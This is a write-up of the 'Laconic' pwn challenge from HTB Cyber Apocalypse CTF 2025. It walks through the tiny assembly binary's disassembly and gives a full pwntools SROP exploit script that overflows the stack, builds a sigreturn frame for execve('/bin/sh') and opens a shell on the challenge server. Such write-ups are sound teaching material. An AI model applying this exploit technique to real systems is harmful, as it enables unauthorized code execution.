Laconic [HTB Cyber Apocalypse CTF 2025]

pwn srop
writeup by: sunbather

Challenge Description

Sir Alaric’s struggles have plunged him into a deep and overwhelming sadness, leaving him unwilling to speak to anyone. Can you find a way to lift his spirits and bring back his courage?

Intuition

Super small binary, written directly in assembly. Here is the disassembly:

$ objdump -d laconic -M intel

laconic:     file format elf64-x86-64


Disassembly of section .shellcode:

0000000000043000 <__start>:
   43000:	48 c7 c7 00 00 00 00 	mov    rdi,0x0
   43007:	48 89 e6             	mov    rsi,rsp
   4300a:	48 83 ee 08          	sub    rsi,0x8
   4300e:	48 c7 c2 06 01 00 00 	mov    rdx,0x106
   43015:	0f 05                	syscall 
   43017:	c3                   	ret    
   43018:	58                   	pop    rax
   43019:	c3                   	ret    

The syscall instruction is executing a read (rax = 0x0, you can see it dynamically). Size of read is 0x106 and target is rsp according to mov rsi,rsp.

So obviously this is a buffer overflow as I can immediately write the return addresses. Size is huge 0x106 so we can perform SROP. Let’s debug to find everything:

$ gdb laconic -q
pwndbg> start
[...]
pwndbg> search "/bin/sh"
Searching for value: '/bin/sh'
laconic         0x43238 0x68732f6e69622f /* '/bin/sh' */

Additionally we have the addresses for a few gadgetsa in the initial objdump:

  • pop rax0x43018
  • syscall0x43015

Solution

Script is quite simple, just classic SROP.

#!/usr/bin/env python3

from pwn import *

context.clear()
context.arch = "amd64"

#target = process("./laconic")
target = remote("83.136.251.145", 30750)

sh_addr = 0x43238
syscall_gadget = 0x43015
pop_rax = 0x43018

frame = SigreturnFrame()
frame.rax = 59 # syscall code for execve
frame.rdi = sh_addr
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0
frame.rip = syscall_gadget

payload = b"a" * 8 + p64(pop_rax) + p64(15) + p64(syscall_gadget) + bytes(frame)

target.send(payload)
target.interactive()

Flag

HTB{s1l3nt_r0p_SOME_UNIQUE_ID}